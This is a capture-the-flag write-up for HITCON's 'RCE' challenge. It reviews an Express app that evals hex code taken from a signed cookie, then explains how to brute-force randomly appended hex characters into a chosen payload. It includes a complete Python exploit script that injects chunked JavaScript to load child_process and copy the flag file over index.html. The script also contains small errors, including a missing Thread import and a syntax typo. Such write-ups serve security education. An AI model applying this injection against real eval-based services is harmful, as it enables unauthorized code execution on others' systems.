RCE (Random Code Executor)
Challenge
Hello, I am a Random Code Executor, I can execute r4Nd�M JavaScript code for you ><
Tips: Have you ever heard of Infinite monkey theorem? If you click the “RCE!” button enough times you can get the flag 😉
rce-4bc5d3c73ac0fd8c0b098e9e7ac5a2e1c7a2fcf6.zip
Author: splitline
Enumeration
The challenge presents us with a CAPTCHA challenge that, once passed, we obtained a link to our own personal container. The container is only alive for 15 minutes.
We also are given the source code for the challenge which contains the docker configuration and expressjs application. The docker file does some standard nodejs setup and also places the flag in a root (/) directory with a random SHA1 hash.
FROM node:latest
COPY app /www
WORKDIR /www
RUN npm install
RUN echo "hitcon{REDACTED}" > "/flag-$(head -c 32 /dev/random | sha1sum | cut -d ' ' -f 1 | tr -d '\n')"
ARG AUTO_DESTROY
ENV AUTO_DESTROY=$AUTO_DESTROY
CMD ["bash", "-c", "node app.js"]
From the challenge description, its pretty clear we want to execute some nodejs code and read said flag. It also sends along a signed code cookie. Turning our attention to the web application, we see two endpoints being served (/, /random). The / endpoint serves up an index.html file from the webroot directory:
app.get('/', function (_, res) {
res.cookie('code', '', { signed: true })
.sendFile(__dirname + '/index.html');
});
The /random route is where code is executed through an eval() call.
app.get('/random', function (req, res) {
let result = null;
if (req.signedCookies.code.length >= 40) {
const code = Buffer.from(req.signedCookies.code, 'hex').toString();
try {
result = eval(code);
} catch(e) {
result = e;
}
res.cookie('code', '', { signed: true })
.send({ progress: req.signedCookies.code.length, result: `Executing '${code}', result = ${result}` });
} else {
res.cookie('code', req.signedCookies.code + randomHex(), { signed: true })
.send({ progress: req.signedCookies.code.length, result });
}
});
The /random route only executes code from the hex character cookie data when the length is 40 hex characters or greater. Until that is the case, the endpoint appends a random hex character to the data portion of the signed cookie. The application signs the cookie with a secret of a randomly generated secret of 20 random bytes.
app.use(cookieParser(crypto.randomBytes(20).toString('hex')));
Shakespearaen Brute Forcing
Concept
Cracking the signature appears to be out of the question, even if we had more than 15 minutes of working time. As the challenge suggests with the Infinite Monkey Theorem, we should take advantage of the randomness in the /random route. That is, we construct a payload of 20 bytes (40 hex characters) and request new signed cookies half a byte at a time and compare to the desired 20 byte payload. Once each hex character is matched, we append it to our valid signed cookie and repeat the process.
A local container was spun up and the following routine was used to verify arbitrary nodejs code execution:
#pad payload, if necessary
def prepPayload(pay):
if len(pay) <= 19:
pay = pay+'1'*(20-len(pay))
return pay
#process cookie
def cookieInfo(cookieStr):
cookie = urllib.parse.unquote(cookieStr).split(':')[1]
sig = cookie.split('.')[1]
data = cookie.split('.')[0]
return {"data":data, "sig":sig}
def executeCmd(payload):
#iterate through payloads
print('[-] Starting Shakespeare Brute Force for Payload: %s' % (payload))
resp = requests.get(args.u)
cookie = resp.cookies.get('code')
payload = prepPayload(payload)
bytesPayload = (payload.encode('ascii').hex())
count = 0
#bruteforce for payload
while(count <= 39):
resp = requests.get(args.u+endpoint, cookies={"code":cookie})
tmpCookie = resp.cookies['code']
tmpInfo = cookieInfo(tmpCookie)
out = json.loads(resp.text)
print('Hex Chars brute forced: %d \r' % (out['progress']), end='')
count = out['progress']
if count != 40 and tmpInfo['data'][count] == bytesPayload[count]:
cookie = tmpCookie
print(out)
Limitations
Now with code execution solved, its time to focus on the time limitations. The 20 byte limit would not be too much of a hinderance if we had infinite time as the full payload could be compartmentalized, inserted into the application memory, and finally constructed. However, as we only have 15 minutes to complete the challenge, multiple code executions were attempted in the alotted timeframe. Only three payloads were able to be successfully executed before the container was destroyed. So the payload either has to be only 60 bytes, or parallelizable in up to 3 cycles.
Typewriting
Since the flag lives in a file (flag-) that itself is over 40 characters, reading the filename first and then opening said file is quite costly. Considering fs and child_process are not loaded, we will also have to first load at least one of these into memory before use. Instead, we already have a route that serves up a known file (index.html). All we need to do is execute the command cp /f* index.html
and request the file through the web application. We will also have to first load the child_process module into memory. The two lines (or something similar) need to be executed:
r = require('child_process').exec
r('cp /f* index.html')
The payload was sliced and compartmentalized in to the segments payloads = ['r=require;c="cp /f*"','z="child_process";','g=r(z).exec;d="inde"','g(c+" "+d+"x.html");']
. The payloads are tested locally and the flag is retrieved:
Solution
Since we only get 3 cycles of code exec, the payloads are threaded such that the first two run concurrently and the second do as well. Technically, the final one must execute last, but I got lucky on the first execution. The solution script used:
#!/usr/bin/python3
import urllib.parse
from base64 import b64decode
import requests
import argparse
import json
#Payloads to copy /flag-<hash> to /index.html (20 chars max per payload)
payloads = ['r=require;c="cp /f*"','z="child_process";','g=r(z).exec;d="inde"','g(c+" "+d+"x.html");']
#pad payload, if necessary
def prepPayload(pay):
if len(pay) <= 19:
pay = pay+'1'*(20-len(pay))
return pay
#process cookie
def cookieInfo(cookieStr):
cookie = urllib.parse.unquote(cookieStr).split(':')[1]
sig = cookie.split('.')[1]
data = cookie.split('.')[0]
return {"data":data, "sig":sig}
def executeCmd(payload):
#iterate through payloads
print('[-] Starting Shakespeare Brute Force for Payload: %s' % (payload))
resp = requests.get(args.u)
cookie = resp.cookies.get('code')
payload = prepPayload(payload)
bytesPayload = (payload.encode('ascii').hex())
count = 0
#bruteforce for payload
while(count <= 39):
resp = requests.get(args.u+endpoint, cookies={"code":cookie})
tmpCookie = resp.cookies['code']
tmpInfo = cookieInfo(tmpCookie)
out = json.loads(resp.text)
print('Hex Chars brute forced: %d \r' % (out['progress']), end='')
count = out['progress']
if count != 40 and tmpInfo['data'][count] == bytesPayload[count]:
cookie = tmpCookie
print(out)
#Main: Grabs a cookie with a signature and brute forces each hex
#char for the desired payload from random hex generated at /random
#Code is executed once 40 chars (20 bytes) are reached.
#
#Server timeouts, so realistically, only 3/4 payloads can be executed.
if __name__ == "__main__":
#parser stuff
parser = argparse.ArgumentParser(description='base url')
parser.add_argument('-u')
args=parser.parse_args()
#vuln endpoint
endpoint = 'random'
#get blank cookie
resp = requests.get(args.u)
cookie = resp.cookies.get('code')
info = cookieInfo(cookie)
t1 = Thread(target=executeCmd, args=(payloads[0],))
t2 = Thread(target=executeCmd, args=(payloads[1].))
t3 = Thread(target=executeCmd, args=(payloads[2],))
t4 = Thread(target=executeCmd, args=(payloads[3],))
t1.start()
t2.start()
t1.join()
t2.join()
t3.start()
t4.start()
t3.join()
t4.join()
r = requests.get(args.u)
print('Flag: %s' % (r.text))